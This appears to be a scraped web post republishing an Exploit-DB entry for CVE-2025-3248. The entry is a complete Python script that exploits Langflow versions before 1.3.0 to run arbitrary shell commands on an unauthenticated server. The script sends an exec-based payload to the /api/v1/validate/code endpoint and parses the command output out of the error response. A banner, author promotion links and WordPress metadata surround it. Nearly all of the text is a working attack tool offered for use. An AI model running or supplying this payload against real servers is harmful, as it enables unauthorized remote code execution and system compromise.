\n# Exploit Title: Langflow 1.3.0 – Remote Code Execution (RCE)
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# Date: 2025-04-17
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# Exploit Author: VeryLazyTech
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# Vendor Homepage: http:\/\/www.langflow.org\/
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# Software Link: https:\/\/github.com\/langflow-ai\/langflow
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# Version: Langflow < 1.3.0\n
# Tested on: Windows Server 2019
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# CVE: CVE-2025-3248
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# CVE-2025-3248 – Remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code
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# FOFA “Langflow”
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# Medium: https:\/\/medium.com\/@verylazytech
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# GitHub: https:\/\/github.com\/verylazytech
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# Shop: https:\/\/shop.verylazytech.com
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# Website: https:\/\/www.verylazytech.com<\/p>\n
import argparse
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import requests
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import json
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from urllib.parse import urljoin
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import random
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from colorama import init, Fore, Style<\/p>\n
# Disable SSL warnings
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requests.packages.urllib3.disable_warnings()<\/p>\n
# Initialize colorama
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init(autoreset=True)<\/p>\n
# Constants
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ENDC = “\\033[0m”
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ENCODING = “UTF-8”
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COLORS = [Fore.GREEN, Fore.CYAN, Fore.BLUE]<\/p>\n
def banner():
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random_color = random.choice(COLORS)
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return f”””{Style.BRIGHT}{random_color}
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______ _______ ____ ___ ____ ____ _________ _ _ ___
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\/ ___\\ \\ \/ \/ ____| |___ \\ \/ _ \\___ \\| ___| |___ \/___ \\| || | ( _ )
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| | \\ \\ \/ \/| _| __) | | | |__) |___ \\ |_ \\ __) | || |_ \/ _ \\
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| |___ \\ V \/ | |___ \/ __\/| |_| \/ __\/ ___) | ___) \/ __\/|__ _| (_) |
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\\____| \\_\/ |_____| |_____|\\___\/_____|____\/ |____\/_____| |_| \\___\/ <\/p>\n
__ __ _ _____ _
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\\ \\ \/ \/__ _ __ _ _ | | __ _ _____ _ |_ _|__ ___| |__
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\\ \\ \/ \/ _ \\ ‘__| | | | | | \/ _` |_ \/ | | | | |\/ _ \\\/ __| ‘_ \\
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\\ V \/ __\/ | | |_| | | |__| (_| |\/ \/| |_| | | | __\/ (__| | | |
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\\_\/ \\___|_| \\__, | |_____\\__,_\/___|\\__, | |_|\\___|\\___|_| |_|
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|___\/ |___\/ <\/p>\n
{Style.BRIGHT}{Fore.WHITE}@VeryLazyTech – Medium {Style.RESET_ALL}\\n
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{Style.RESET_ALL}
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“””<\/p>\n
print(banner())<\/p>\n
class LangflowScanner:
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def __init__(self, url, timeout=10):
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self.url = url.rstrip(‘\/’)
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self.timeout = timeout
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self.session = requests.Session()
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self.session.verify = False
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self.session.headers.update({
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‘User-Agent’: ‘Mozilla\/5.0’,
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‘Content-Type’: ‘application\/json’,
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‘Accept’: ‘application\/json’,
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})<\/p>\n
def exploit(self, command):
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endpoint = urljoin(self.url, ‘\/api\/v1\/validate\/code’)
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payload = {
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“code”: f”””
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def run(cd=exec(‘raise Exception(__import__(“subprocess”).check_output(“{command}”, shell=True))’)): pass
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“””
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}<\/p>\n
try:
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print(f”{Fore.YELLOW}[*] Sending payload to {endpoint}”)
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response = self.session.post(endpoint, json=payload, timeout=self.timeout)
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print(f”{Fore.YELLOW}[*] Status Code: {response.status_code}”)
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print(f”{Fore.YELLOW}[*] Raw Response: {response.text}”)<\/p>\n
if response.status_code == 200:
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try:
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data = response.json()
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error_msg = data.get(“function”, {}).get(“errors”, [“”])[0]
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if isinstance(error_msg, str) and error_msg.startswith(“b'”):
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output = error_msg[2:-1].encode().decode(‘unicode_escape’).strip()
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return output
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except Exception as e:
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return f”[!] Failed to parse response: {str(e)}”
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return f”[!] Exploit failed with status {response.status_code}”
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except requests.RequestException as e:
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return f”[!] Request failed: {str(e)}”<\/p>\n
def main():
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parser = argparse.ArgumentParser(description=”Langflow CVE-2025-3248 Exploit”)
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parser.add_argument(“url”, help=”Target base URL (e.g., http:\/\/host:port)”)
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parser.add_argument(“cmd”, help=”Command to execute (e.g., whoami)”)
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args = parser.parse_args()<\/p>\n
scanner = LangflowScanner(args.url)
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result = scanner.exploit(args.cmd)
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print(f”{Fore.GREEN}[+] Command Output:\\n{result}”)<\/p>\n
if __name__ == “__main__”:
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main()\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title Langflow 1.3.0 – Remote Code Execution (RCE) Exploit ID EDB-ID:52262 Type exploitdb Published 2025-04-18T00:00:00 Modified 2025-04-18T00:00:00 CVSS Information CVSS…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,40,13,7,11,5],"class_list":["post-477","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
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